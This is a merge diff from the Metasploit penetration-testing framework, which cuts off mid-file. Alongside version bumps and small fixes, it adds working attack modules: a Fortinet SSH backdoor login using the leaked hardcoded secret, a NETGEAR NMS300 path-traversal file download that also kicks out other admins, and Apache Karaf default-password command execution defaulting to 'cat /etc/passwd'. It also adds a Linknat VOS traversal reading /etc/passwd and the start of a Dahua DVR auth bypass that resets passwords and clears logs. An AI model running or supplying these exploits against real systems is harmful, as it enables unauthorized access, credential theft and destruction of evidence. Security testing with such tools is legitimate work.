Merge branch 'master' of github.com:rapid7/metasploit-framework
commit
368af93cfe
|
@ -37,6 +37,7 @@ and Metasploit's [Common Coding Mistakes].
|
|||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
|
||||
### Pull Requests
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.12)
|
||||
metasploit-framework (4.11.13)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
@ -13,7 +13,7 @@ PATH
|
|||
metasploit-concern (= 1.0.0)
|
||||
metasploit-credential (= 1.0.1)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.1.0)
|
||||
metasploit-payloads (= 1.1.1)
|
||||
metasploit_data_models (= 1.2.11)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
|
@ -124,7 +124,7 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.1.0)
|
||||
metasploit-payloads (1.1.1)
|
||||
metasploit_data_models (1.2.11)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
|
|
@ -78,7 +78,7 @@ module Metasploit
|
|||
opt_hash
|
||||
)
|
||||
end
|
||||
rescue ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
rescue Net::SSH::Exception
|
||||
result_options.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: e)
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.11.12"
|
||||
VERSION = "4.11.13"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -0,0 +1,99 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# https://www.ietf.org/rfc/rfc4256.txt
|
||||
|
||||
require 'net/ssh'
|
||||
|
||||
module Msf::Exploit::Remote::Fortinet
|
||||
class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
|
||||
|
||||
USERAUTH_INFO_REQUEST = 60
|
||||
USERAUTH_INFO_RESPONSE = 61
|
||||
|
||||
def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
|
||||
debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
|
||||
|
||||
send_message(userauth_request(
|
||||
=begin
|
||||
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
|
||||
string service name (US-ASCII)
|
||||
string "keyboard-interactive" (US-ASCII)
|
||||
string language tag (as defined in [RFC-3066])
|
||||
string submethods (ISO-10646 UTF-8)
|
||||
=end
|
||||
username,
|
||||
service_name,
|
||||
'keyboard-interactive',
|
||||
'',
|
||||
''
|
||||
))
|
||||
|
||||
loop do
|
||||
message = session.next_message
|
||||
|
||||
case message.type
|
||||
when USERAUTH_SUCCESS
|
||||
debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
|
||||
return true
|
||||
when USERAUTH_FAILURE
|
||||
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
|
||||
return false
|
||||
when USERAUTH_INFO_REQUEST
|
||||
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
|
||||
|
||||
=begin
|
||||
string name (ISO-10646 UTF-8)
|
||||
string instruction (ISO-10646 UTF-8)
|
||||
string language tag (as defined in [RFC-3066])
|
||||
int num-prompts
|
||||
string prompt[1] (ISO-10646 UTF-8)
|
||||
boolean echo[1]
|
||||
...
|
||||
string prompt[num-prompts] (ISO-10646 UTF-8)
|
||||
boolean echo[num-prompts]
|
||||
=end
|
||||
name = message.read_string
|
||||
instruction = message.read_string
|
||||
_ = message.read_string
|
||||
|
||||
prompts = []
|
||||
|
||||
message.read_long.times do
|
||||
prompt = message.read_string
|
||||
echo = message.read_bool
|
||||
prompts << [prompt, echo]
|
||||
end
|
||||
|
||||
debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }
|
||||
|
||||
send_message(Net::SSH::Buffer.from(
|
||||
=begin
|
||||
byte SSH_MSG_USERAUTH_INFO_RESPONSE
|
||||
int num-responses
|
||||
string response[1] (ISO-10646 UTF-8)
|
||||
...
|
||||
string response[num-responses] (ISO-10646 UTF-8)
|
||||
=end
|
||||
:byte, USERAUTH_INFO_RESPONSE,
|
||||
:long, 1,
|
||||
:string, custom_handler(name, instruction, prompts)
|
||||
))
|
||||
else
|
||||
raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# http://seclists.org/fulldisclosure/2016/Jan/26
|
||||
def custom_handler(title, instructions, prompt_list)
|
||||
n = prompt_list[0][0]
|
||||
m = Digest::SHA1.new
|
||||
m.update("\x00" * 12)
|
||||
m.update(n + 'FGTAbc11*xy+Qqz27')
|
||||
m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
|
||||
h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
|
||||
[h]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -116,3 +116,6 @@ require 'msf/core/exploit/http/jboss'
|
|||
|
||||
# Kerberos Support
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
||||
# Fortinet
|
||||
require 'msf/core/exploit/fortinet'
|
||||
|
|
|
@ -63,24 +63,11 @@ module ReverseHttp
|
|||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
# Determine where to bind the server
|
||||
#
|
||||
# @return [String]
|
||||
def listener_address
|
||||
if datastore['ReverseListenerBindAddress'].to_s == ''
|
||||
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
|
||||
else
|
||||
bindaddr = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
||||
bindaddr
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri
|
||||
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
|
||||
def listener_uri(addr)
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"#{scheme}://#{uri_host}:#{bind_port}/"
|
||||
end
|
||||
|
||||
|
@ -129,20 +116,33 @@ module ReverseHttp
|
|||
#
|
||||
def setup_handler
|
||||
|
||||
local_addr = nil
|
||||
local_port = bind_port
|
||||
ex = false
|
||||
|
||||
# Start the HTTPS server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
local_port,
|
||||
listener_address,
|
||||
ssl?,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
nil,
|
||||
(ssl?) ? datastore['HandlerSSLCert'] : nil
|
||||
)
|
||||
bind_addresses.each do |ip|
|
||||
begin
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
local_port, ip, ssl?,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
nil,
|
||||
(ssl?) ? datastore['HandlerSSLCert'] : nil
|
||||
)
|
||||
local_addr = ip
|
||||
rescue
|
||||
ex = $!
|
||||
print_error("Handler failed to bind to #{ip}:#{local_port}")
|
||||
else
|
||||
ex = false
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
raise ex if (ex)
|
||||
|
||||
self.service.server_name = datastore['MeterpreterServerName']
|
||||
|
||||
|
@ -156,7 +156,7 @@ module ReverseHttp
|
|||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
|
||||
lookup_proxy_settings
|
||||
|
||||
if datastore['IgnoreUnknownPayloads']
|
||||
|
|
|
@ -65,9 +65,10 @@ module Net; module SSH; module Transport
|
|||
factory = options[:proxy]
|
||||
|
||||
if (factory)
|
||||
@socket = timeout(options[:timeout] || 0) { factory.open(@host, @port) }
|
||||
@socket = ::Timeout.timeout(options[:timeout] || 0) { factory.open(@host,
|
||||
@port) }
|
||||
else
|
||||
@socket = timeout(options[:timeout] || 0) {
|
||||
@socket = ::Timeout.timeout(options[:timeout] || 0) {
|
||||
Rex::Socket::Tcp.create(
|
||||
'PeerHost' => @host,
|
||||
'PeerPort' => @port,
|
||||
|
|
|
@ -71,6 +71,12 @@ class Android < Extension
|
|||
response = client.send_request(request)
|
||||
response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||
end
|
||||
|
||||
def set_audio_mode(n)
|
||||
request = Packet.create_request('set_audio_mode')
|
||||
request.add_tlv(TLV_TYPE_AUDIO_MODE, n)
|
||||
response = client.send_request(request)
|
||||
end
|
||||
|
||||
def interval_collect(opts)
|
||||
request = Packet.create_request('interval_collect')
|
||||
|
|
|
@ -75,6 +75,7 @@ TLV_TYPE_CELL_BASE_LAT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS
|
|||
TLV_TYPE_CELL_BASE_LONG = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9072)
|
||||
TLV_TYPE_CELL_NET_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9073)
|
||||
TLV_TYPE_CELL_SYSTEM_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9074)
|
||||
TLV_TYPE_AUDIO_MODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9075)
|
||||
|
||||
TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9101)
|
||||
TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102)
|
||||
|
|
|
@ -30,7 +30,8 @@ class Console::CommandDispatcher::Android
|
|||
'send_sms' => 'Sends SMS from target session',
|
||||
'wlan_geolocate' => 'Get current lat-long using WLAN information',
|
||||
'interval_collect' => 'Manage interval collection capabilities',
|
||||
'activity_start' => 'Start an Android activity from a Uri string'
|
||||
'activity_start' => 'Start an Android activity from a Uri string',
|
||||
'set_audio_mode' => 'Set Ringer Mode'
|
||||
}
|
||||
|
||||
reqs = {
|
||||
|
@ -43,7 +44,8 @@ class Console::CommandDispatcher::Android
|
|||
'send_sms' => ['send_sms'],
|
||||
'wlan_geolocate' => ['wlan_geolocate'],
|
||||
'interval_collect' => ['interval_collect'],
|
||||
'activity_start' => ['activity_start']
|
||||
'activity_start' => ['activity_start'],
|
||||
'set_audio_mode' => ['set_audio_mode']
|
||||
}
|
||||
|
||||
# Ensure any requirements of the command are met
|
||||
|
@ -153,6 +155,36 @@ class Console::CommandDispatcher::Android
|
|||
end
|
||||
end
|
||||
|
||||
def cmd_set_audio_mode(*args)
|
||||
help = false
|
||||
mode = 1
|
||||
set_audio_mode_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, "Help Banner" ],
|
||||
'-m' => [ true, "Set Mode - (0 - Off, 1 - Normal, 2 - Max) (Default: '#{mode}')"]
|
||||
)
|
||||
|
||||
set_audio_mode_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
help = true
|
||||
when '-m'
|
||||
mode = val.to_i
|
||||
else
|
||||
help = true
|
||||
end
|
||||
end
|
||||
|
||||
if help || mode < 0 || mode > 2
|
||||
print_line('Usage: set_audio_mode [options]')
|
||||
print_line('Set Ringer mode.')
|
||||
print_line(set_audio_mode_opts.usage)
|
||||
return
|
||||
end
|
||||
|
||||
client.android.set_audio_mode(mode)
|
||||
print_status("Ringer mode was changed to #{mode}!")
|
||||
end
|
||||
|
||||
def cmd_dump_sms(*args)
|
||||
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_sms_opts = Rex::Parser::Arguments.new(
|
||||
|
@ -536,7 +568,7 @@ class Console::CommandDispatcher::Android
|
|||
print_line("Start an Android activity from a uri")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
uri = args[0]
|
||||
result = client.android.activity_start(uri)
|
||||
if result.nil?
|
||||
|
@ -545,7 +577,7 @@ class Console::CommandDispatcher::Android
|
|||
print_error("Error: #{result}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.0'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.1'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -0,0 +1,224 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
|
||||
'Description' => %q{
|
||||
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
|
||||
The application has a file download vulnerability that can be exploited by an
|
||||
authenticated remote attacker to download any file in the system..
|
||||
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-1524'],
|
||||
['US-CERT-VU', '777024'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 4 2016'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, "Application path", '/']),
|
||||
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
|
||||
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def authenticate
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'userName' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
},
|
||||
'vars_get' => { 'method' => 'login' }
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
cookie = res.get_cookies
|
||||
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
|
||||
# another admin is logged in, let's kick him out
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => { 'singleId' => $1 },
|
||||
'vars_get' => { 'method' => 'loginAgain' }
|
||||
})
|
||||
if res && res.code == 200 && (not res.body.to_s =~ /"success":true/)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
return cookie
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
def download_file (download_path, cookie)
|
||||
filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img"
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
|
||||
'vars_get' => {
|
||||
'method' => 'add'
|
||||
},
|
||||
'vars_post' => {
|
||||
'realName' => download_path,
|
||||
'md5' => '',
|
||||
'fileName' => filename,
|
||||
'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)),
|
||||
'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)),
|
||||
'deviceType' => rand(999),
|
||||
'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)),
|
||||
'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
|
||||
},
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /"success":true/
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
|
||||
'vars_get' => {
|
||||
'method' => 'getPageList',
|
||||
'type' => 'configImgManager',
|
||||
},
|
||||
'vars_post' => {
|
||||
'everyPage' => 500 + rand(999)
|
||||
},
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
|
||||
image_id = $1
|
||||
return send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'method' => 'export',
|
||||
'imageId' => image_id
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
||||
return nil
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("#{peer} - Could not connect.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def save_file(filedata)
|
||||
vprint_line(filedata.to_s)
|
||||
fname = File.basename(datastore['FILEPATH'])
|
||||
|
||||
path = store_loot(
|
||||
'netgear.http',
|
||||
'application/octet-stream',
|
||||
datastore['RHOST'],
|
||||
filedata,
|
||||
fname
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'netgear',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
cookie = authenticate
|
||||
if cookie == nil
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
|
||||
else
|
||||
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
|
||||
report_cred(
|
||||
user: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD'],
|
||||
proof: cookie
|
||||
)
|
||||
end
|
||||
|
||||
if datastore['FILEPATH'].blank?
|
||||
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
|
||||
return
|
||||
end
|
||||
|
||||
filepath = datastore['FILEPATH']
|
||||
res = download_file(filepath, cookie)
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
|
||||
save_file(res.body)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
|
||||
count = 1
|
||||
while count < datastore['DEPTH']
|
||||
res = download_file(("../" * count).chomp('/') + filepath, cookie)
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
|
||||
save_file(res.body)
|
||||
return
|
||||
end
|
||||
end
|
||||
count += 1
|
||||
end
|
||||
|
||||
print_error("#{peer} - Failed to download file.")
|
||||
end
|
||||
end
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
formats = [ 'md5', 'des', 'bsdi']
|
||||
if datastore['Crypt']
|
||||
format << 'crypt'
|
||||
formats << 'crypt'
|
||||
end
|
||||
|
||||
cracker = new_john_cracker
|
||||
|
|
|
@ -0,0 +1,133 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Apache Karaf Default Credentials Command Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
|
||||
The 'karaf' user has a known default password, which can be used to login to the
|
||||
SSH service, and execute operating system commands from remote.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nicholas Starke <nick@alephvoid.com>'
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
['Apache Karaf', {}],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Feb 9 2016",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8101),
|
||||
OptString.new('USERNAME', [true, 'Username', 'karaf']),
|
||||
OptString.new('PASSWORD', [true, 'Password', 'karaf']),
|
||||
OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Opt::Proxies,
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def cmd
|
||||
datastore['CMD']
|
||||
end
|
||||
|
||||
def do_login(user, pass, ip)
|
||||
opts = {
|
||||
:auth_methods => ['password'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => rport,
|
||||
:disable_agent => true,
|
||||
:config => false,
|
||||
:password => pass,
|
||||
:record_auth_info => true,
|
||||
:proxies => datastore['Proxies']
|
||||
}
|
||||
|
||||
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
ssh = Net::SSH.start(ip, user, opts)
|
||||
end
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
|
||||
return
|
||||
rescue Rex::ConnectionError
|
||||
return
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
|
||||
return
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
|
||||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{ip}:#{rport} SSH - Failed authentication"
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
||||
if ssh
|
||||
print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'")
|
||||
else
|
||||
print_error "#{ip}:#{rport} - Unknown error"
|
||||
end
|
||||
ssh
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("#{ip}:#{rport} - Attempt to login...")
|
||||
ssh = do_login(username, password, ip)
|
||||
if ssh
|
||||
output = ssh.exec!("shell:exec #{cmd}\n").to_s
|
||||
if output
|
||||
print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}")
|
||||
store_loot("apache.karaf.command",
|
||||
"text/plain",
|
||||
ip,
|
||||
output)
|
||||
vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
|
||||
else
|
||||
print_error "#{ip}:#{rport} - Command failed to execute"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linknat Vos Manager Traversal',
|
||||
'Description' => %q(
|
||||
This module attempts to test whether a file traversal vulnerability
|
||||
is present in version of linknat vos2009/vos3000
|
||||
),
|
||||
'References' => [
|
||||
['URL', 'http://www.linknat.com/'],
|
||||
['URL', 'http://www.wooyun.org/bugs/wooyun-2010-0145458']
|
||||
],
|
||||
'Author' => ['Nixawk'],
|
||||
'License' => MSF_LICENSE))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, 'The path of Linknat Vos Manager (/chs/, /cht/, /eng/)', '/eng/']),
|
||||
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
|
||||
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def vos_uri(path)
|
||||
full_uri =~ %r{/$} ? "#{full_uri}#{path}" : "#{full_uri}/#{path}"
|
||||
end
|
||||
|
||||
def vos_version
|
||||
case target_uri.to_s
|
||||
when /chs/i
|
||||
js_uri = vos_uri('js/lang_zh_cn.js')
|
||||
when /cht/i
|
||||
js_uri = vos_uri('js/lang_zh_tw.js')
|
||||
when /eng/i
|
||||
js_uri = vos_uri('js/lang_en_us.js')
|
||||
else
|
||||
print_warning("#{full_uri} - Please identify VOS version manually")
|
||||
return
|
||||
end
|
||||
|
||||
res = send_request_cgi('uri' => js_uri)
|
||||
return unless res
|
||||
|
||||
vprint_status("#{js_uri} - HTTP/#{res.proto} #{res.code} #{res.message}")
|
||||
|
||||
return unless res.code == 200
|
||||
res.body =~ /s\[8\] = \"([^"]*)\"/m ? major = $1 : major = nil
|
||||
res.body =~ /s\[169\] = \"[^:]*: ([^"\\]*)\"/m ? minor = $1 : minor = nil
|
||||
"#{major} #{minor}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
version = vos_version
|
||||
unless version
|
||||
print_error("#{full_uri} - Failed to identify Linknat VOS")
|
||||
return
|
||||
end
|
||||
|
||||
traversal = '/%c0%ae%c0%ae' * datastore['TRAVERSAL_DEPTH']
|
||||
filename = datastore['FILEPATH']
|
||||
|
||||
uri = normalize_uri(target_uri.path, '..', traversal, filename)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
path = store_loot(
|
||||
version,
|
||||
'text/plain',
|
||||
ip,
|
||||
res.body,
|
||||
filename)
|
||||
print_good("#{full_uri} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{full_uri} - Nothing was downloaded")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,394 @@
|
|||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => %q(Dahua DVR Auth Bypass Scanner),
|
||||
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
|
||||
'Author' => [
|
||||
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
|
||||
'Tyler Bennett - Talos Infosec', # Metasploit Module
|
||||
